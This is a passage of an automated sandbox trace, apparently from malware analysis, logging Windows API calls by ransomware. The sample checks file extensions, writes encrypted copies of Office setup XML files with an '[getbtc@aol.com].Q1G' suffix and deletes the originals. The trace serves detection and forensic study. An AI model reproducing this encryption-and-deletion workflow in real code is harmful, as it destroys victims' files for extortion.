Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.557] lstrlenW (lpString=".zip") returned 4 [0040.557] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.557] lstrlenW (lpString=".rar") returned 4 [0040.557] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.557] lstrlenW (lpString=".bz2") returned 4 [0040.557] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.557] lstrlenW (lpString=".7z") returned 3 [0040.557] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.557] lstrlenW (lpString=".dbf") returned 4 [0040.557] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.557] lstrlenW (lpString=".1cd") returned 4 [0040.557] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.557] lstrlenW (lpString=".jpg") returned 4 [0040.557] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.557] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.557] lstrlenW (lpString=".doc") returned 4 [0040.557] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.557] lstrlenW (lpString=".docx") returned 5 [0040.557] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.557] lstrlenW (lpString=".pdf") returned 4 [0040.557] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.557] lstrlenW (lpString=".xls") returned 4 [0040.557] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.557] lstrlenW (lpString=".xlsx") returned 5 [0040.558] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.558] lstrlenW (lpString=".ppt") returned 4 [0040.558] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.558] lstrlenW (lpString=".zip") returned 4 [0040.558] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.558] lstrlenW (lpString=".rar") returned 4 [0040.558] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.558] lstrlenW (lpString=".bz2") returned 4 [0040.558] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.558] lstrlenW (lpString=".7z") returned 3 [0040.558] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.558] lstrlenW (lpString=".dbf") returned 4 [0040.558] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.558] lstrlenW (lpString=".1cd") returned 4 [0040.558] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.558] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\SETUP.XML") returned 102 [0040.558] lstrlenW (lpString=".jpg") returned 4 [0040.558] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.558] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0040.558] lstrlenW (lpString="Office32MUI.XML") returned 15 [0040.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.573] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=1383) returned 1 [0040.573] CloseHandle (hObject=0x19c) returned 1 [0040.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 0x20 [0040.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0040.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.574] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.574] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0040.575] GetLastError () returned 0x0 [0040.575] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x567, lpOverlapped=0x0) returned 1 [0040.577] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x570, lpOverlapped=0x0) returned 1 [0040.578] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.578] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0040.578] SetEndOfFile (hFile=0x1d0) returned 1 [0040.578] CloseHandle (hObject=0x1d0) returned 1 [0040.579] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.579] SetEndOfFile (hFile=0x19c) returned 1 [0040.579] CloseHandle (hObject=0x19c) returned 1 [0040.579] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0040.580] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\office32mui.xml")) returned 1 [0040.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.580] lstrlenW (lpString=".doc") returned 4 [0040.580] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.580] lstrlenW (lpString=".docx") returned 5 [0040.580] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.580] lstrlenW (lpString=".pdf") returned 4 [0040.580] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.580] lstrlenW (lpString=".xls") returned 4 [0040.580] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.580] lstrlenW (lpString=".xlsx") returned 5 [0040.580] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.580] lstrlenW (lpString=".ppt") returned 4 [0040.580] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.580] lstrlenW (lpString=".zip") returned 4 [0040.580] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.580] lstrlenW (lpString=".rar") returned 4 [0040.580] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.580] lstrlenW (lpString=".bz2") returned 4 [0040.580] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.580] lstrlenW (lpString=".7z") returned 3 [0040.580] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.580] lstrlenW (lpString=".dbf") returned 4 [0040.581] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.581] lstrlenW (lpString=".1cd") returned 4 [0040.581] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.581] lstrlenW (lpString=".jpg") returned 4 [0040.581] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.581] lstrlenW (lpString=".doc") returned 4 [0040.581] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.581] lstrlenW (lpString=".docx") returned 5 [0040.581] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0040.581] lstrlenW (lpString=".pdf") returned 4 [0040.581] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.581] lstrlenW (lpString=".xls") returned 4 [0040.581] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.581] lstrlenW (lpString=".xlsx") returned 5 [0040.581] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0040.581] lstrlenW (lpString=".ppt") returned 4 [0040.581] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.581] lstrlenW (lpString=".zip") returned 4 [0040.581] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.581] lstrlenW (lpString=".rar") returned 4 [0040.581] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.581] lstrlenW (lpString=".bz2") returned 4 [0040.581] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.581] lstrlenW (lpString=".7z") returned 3 [0040.581] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.581] lstrlenW (lpString=".dbf") returned 4 [0040.581] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.581] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.581] lstrlenW (lpString=".1cd") returned 4 [0040.582] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.582] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\Office32MUI.XML") returned 110 [0040.582] lstrlenW (lpString=".jpg") returned 4 [0040.582] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.582] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0040.582] lstrlenW (lpString="SETUP.XML") returned 9 [0040.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.582] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=2362) returned 1 [0040.582] CloseHandle (hObject=0x19c) returned 1 [0040.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 0x20 [0040.582] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0040.582] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.582] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.582] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.583] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0040.583] GetLastError () returned 0x0 [0040.583] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x93a, lpOverlapped=0x0) returned 1 [0040.937] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0x940, lpOverlapped=0x0) returned 1 [0040.938] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.938] WriteFile (in: hFile=0x1d0, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.938] SetEndOfFile (hFile=0x1d0) returned 1 [0040.939] CloseHandle (hObject=0x1d0) returned 1 [0040.939] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.939] SetEndOfFile (hFile=0x19c) returned 1 [0040.940] CloseHandle (hObject=0x19c) returned 1 [0040.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0040.940] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.en-us\\setup.xml")) returned 1 [0040.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.941] lstrlenW (lpString=".doc") returned 4 [0040.941] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.941] lstrlenW (lpString=".docx") returned 5 [0040.941] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.941] lstrlenW (lpString=".pdf") returned 4 [0040.941] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.941] lstrlenW (lpString=".xls") returned 4 [0040.941] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.941] lstrlenW (lpString=".xlsx") returned 5 [0040.941] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.941] lstrlenW (lpString=".ppt") returned 4 [0040.941] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.941] lstrlenW (lpString=".zip") returned 4 [0040.941] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.941] lstrlenW (lpString=".rar") returned 4 [0040.941] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.941] lstrlenW (lpString=".bz2") returned 4 [0040.941] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.941] lstrlenW (lpString=".7z") returned 3 [0040.941] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.941] lstrlenW (lpString=".dbf") returned 4 [0040.941] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.941] lstrlenW (lpString=".1cd") returned 4 [0040.941] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.941] lstrlenW (lpString=".jpg") returned 4 [0040.941] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.942] lstrlenW (lpString=".doc") returned 4 [0040.942] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0040.942] lstrlenW (lpString=".docx") returned 5 [0040.942] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0040.942] lstrlenW (lpString=".pdf") returned 4 [0040.942] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0040.942] lstrlenW (lpString=".xls") returned 4 [0040.942] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0040.942] lstrlenW (lpString=".xlsx") returned 5 [0040.942] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0040.942] lstrlenW (lpString=".ppt") returned 4 [0040.942] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0040.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.942] lstrlenW (lpString=".zip") returned 4 [0040.942] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0040.942] lstrlenW (lpString=".rar") returned 4 [0040.942] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0040.942] lstrlenW (lpString=".bz2") returned 4 [0040.942] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0040.942] lstrlenW (lpString=".7z") returned 3 [0040.942] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0040.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.942] lstrlenW (lpString=".dbf") returned 4 [0040.942] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0040.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.942] lstrlenW (lpString=".1cd") returned 4 [0040.942] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0040.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.en-us\\SETUP.XML") returned 104 [0040.942] lstrlenW (lpString=".jpg") returned 4 [0040.942] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0040.943] lstrcmpiW (lpString1=".XML", lpString2=".Q1G") returned 1 [0040.943] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0040.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.943] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2b3ff1c | out: lpFileSize=0x2b3ff1c*=3186) returned 1 [0040.943] CloseHandle (hObject=0x19c) returned 1 [0040.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0040.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0040.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0040.943] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.943] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0041.398] GetLastError () returned 0x0 [0041.398] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0xc72, lpOverlapped=0x0) returned 1 [0041.402] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0041.403] ReadFile (in: hFile=0x19c, lpBuffer=0x3290020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesRead=0x2b3fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.403] WriteFile (in: hFile=0x1fc, lpBuffer=0x3290020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3290020*, lpNumberOfBytesWritten=0x2b3fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0041.403] SetEndOfFile (hFile=0x1fc) returned 1 [0041.403] CloseHandle (hObject=0x1fc) returned 1 [0041.404] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b3fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.404] SetEndOfFile (hFile=0x19c) returned 1 [0041.405] CloseHandle (hObject=0x19c) returned 1 [0041.405] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0041.405] DeleteFileW 